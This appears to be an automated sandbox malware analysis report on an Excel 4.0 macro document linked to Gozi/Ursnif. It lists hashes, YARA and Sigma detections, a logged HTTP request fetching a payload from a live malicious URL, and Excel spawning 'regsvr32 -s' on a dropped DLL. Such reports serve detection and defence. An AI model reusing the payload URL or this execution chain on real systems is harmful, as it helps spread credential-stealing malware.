Loading ...

Play interactive tourEdit tour

Analysis Report document-1421190491.xls

Overview

General Information

Sample Name:document-1421190491.xls
Analysis ID:324308
MD5:6fb9d4467b35d90aaa988395194590c7
SHA1:e8506016f9fead7cda2181110732282805284a97
SHA256:d6237352c99d9956dd3857cadcad11a382a471c8b73962e2f784728e8aba5cdd
Tags:goziSilentBuilderursnifxls

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:80
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Document exploit detected (UrlDownloadToFile)
Document exploit detected (process start blacklist hit)
Found Excel 4.0 Macro with suspicious formulas
Found obfuscated Excel 4.0 Macro
Sigma detected: Microsoft Office Product Spawning Windows Shell
Yara detected hidden Macro 4.0 in Excel
Allocates a big amount of memory (probably used for heap spraying)
Document contains embedded VBA macros
IP address seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Registers a DLL
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Yara signature match

Classification

Startup

  • System is w10x64
  • EXCEL.EXE (PID: 4856 cmdline: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 2212 cmdline: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
document-1421190491.xlsSUSP_Excel4Macro_AutoOpenDetects Excel4 macro use with auto open / closeJohn Lambert @JohnLaTwC
  • 0x0:$header_docf: D0 CF 11 E0
  • 0x4fea2:$s1: Excel
  • 0x50f1d:$s1: Excel
  • 0x389b:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
document-1421190491.xlsJoeSecurity_HiddenMacroYara detected hidden Macro 4.0 in ExcelJoe Security

    Sigma Overview

    System Summary:

    barindex
    Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
    Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis: Data: Command: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, CommandLine: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, CommandLine|base64offset|contains: ,, Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 4856, ProcessCommandLine: regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll, ProcessId: 2212

    Signature Overview

    Click to jump to signature section

    Show All Signature Results

    AV Detection:

    barindex
    Multi AV Scanner detection for submitted fileShow sources
    Source: document-1421190491.xlsVirustotal: Detection: 33%Perma Link

    Software Vulnerabilities:

    barindex
    Document exploit detected (UrlDownloadToFile)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileAJump to behavior
    Document exploit detected (process start blacklist hit)Show sources
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exeJump to behavior
    Source: excel.exeMemory has grown: Private usage: 1MB later: 122MB
    Source: global trafficDNS query: name: me48.ru
    Source: global trafficTCP traffic: 192.168.2.3:49717 -> 188.225.24.87:80
    Source: global trafficTCP traffic: 192.168.2.3:49717 -> 188.225.24.87:80
    Source: Joe Sandbox ViewIP Address: 188.225.24.87 188.225.24.87
    Source: global trafficHTTP traffic detected: GET /ds/231120.gif HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: me48.ruConnection: Keep-Alive
    Source: global trafficHTTP traffic detected: GET /ds/231120.gif HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: me48.ruConnection: Keep-Alive
    Source: unknownDNS traffic detected: queries for: me48.ru
    Source: document-1421190491.xlsString found in binary or memory: http://me48.ru/ds/231120.gif
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.aadrm.com/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.diagnostics.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.microsoftstream.com/api/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.office.net
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.onedrive.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://apis.live.net/v5.0/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://augloop.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://augloop.office.com/v2
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://autodiscover-s.outlook.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://cdn.entity.
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://clients.config.office.net/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://config.edge.skype.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://cortana.ai
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://cr.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://dataservice.o365filtering.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://dataservice.o365filtering.com/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://devnull.onenote.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://directory.services.
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://graph.ppe.windows.net
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://graph.ppe.windows.net/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://graph.windows.net
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://graph.windows.net/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://incidents.diagnostics.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://lifecycle.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://login.microsoftonline.com/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://login.windows.local
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://management.azure.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://management.azure.com/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://messaging.office.com/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://ncus-000.contentsync.
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://ncus-000.pagecontentsync.
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://officeapps.live.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://onedrive.live.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://onedrive.live.com/embed?
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://outlook.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://outlook.office365.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://powerlift.acompli.net
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://settings.outlook.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://shell.suite.office.com:1443
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://skyapi.live.net/Activity/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://store.office.cn/addinstemplate
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://store.office.com/?productgroup=Outlook
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://store.office.com/addinstemplate
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://store.office.de/addinstemplate
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://store.officeppe.com/addinstemplate
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://syncservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://tasks.office.com
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://templatelogging.office.com/client/log
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.desktop.html
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://uci.officeapps.live.com/OfficeInsights/web/views/insights.immersive.html
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://visio.uservoice.com/forums/368202-visio-on-devices
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://web.microsoftstream.com/video/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://webdir.online.lync.com/autodiscover/autodiscoverservice.svc/root/
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://word.uservoice.com/forums/304948-word-for-ipad-iphone-ios
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://wus2-000.contentsync.
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://wus2-000.pagecontentsync.
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://www.bingapis.com/api/v7/urlpreview/search?appid=E93048236FE27D972F67C5AF722136866DF65FA2
    Source: 49FB59A5-3615-4863-88E0-DD6B4F54A974.0.drString found in binary or memory: https://www.odwebp.svc.ms

    System Summary:

    barindex
    Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)Show sources
    Source: Screenshot number: 8Screenshot OCR: Enable Content [El - O X 9+ Share :::.""" " Ct P Sort & Find & & Clear" Filter - Select " Edit
    Found Excel 4.0 Macro with suspicious formulasShow sources
    Source: document-1421190491.xlsInitial sample: CALL
    Source: document-1421190491.xlsInitial sample: CALL
    Source: document-1421190491.xlsInitial sample: CALL
    Source: document-1421190491.xlsInitial sample: CALL
    Source: document-1421190491.xlsInitial sample: EXEC
    Found obfuscated Excel 4.0 MacroShow sources
    Source: document-1421190491.xlsInitial sample: High usage of CHAR() function: 18
    Source: document-1421190491.xlsOLE indicator, VBA macros: true
    Source: C:\Windows\SysWOW64\regsvr32.exeSection loaded: sfc.dllJump to behavior
    Source: document-1421190491.xls, type: SAMPLEMatched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
    Source: classification engineClassification label: mal80.expl.evad.winXLS@3/6@1/1
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Microsoft\Office\16.0\WebServiceCacheJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile created: C:\Users\user\AppData\Local\Temp\{FC4FB584-55D6-43A5-BC06-4A6EB974791E} - OProcSessId.datJump to behavior
    Source: document-1421190491.xlsOLE indicator, Workbook stream: true
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Windows\SysWOW64\regsvr32.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: document-1421190491.xlsVirustotal: Detection: 33%
    Source: unknownProcess created: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE 'C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE' /automation -Embedding
    Source: unknownProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dllJump to behavior
    Source: Window RecorderWindow detected: More than 3 window changes detected
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEKey opened: HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Common\LanguageResources\EnabledEditingLanguagesJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dllJump to behavior
    Source: unknownProcess created: C:\Windows\SysWOW64\regsvr32.exe regsvr32 -s C:\giogti\mpomqr\fwpxeohi.dll
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: FAILCRITICALERRORS | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess information set: NOOPENFILEERRORBOXJump to behavior
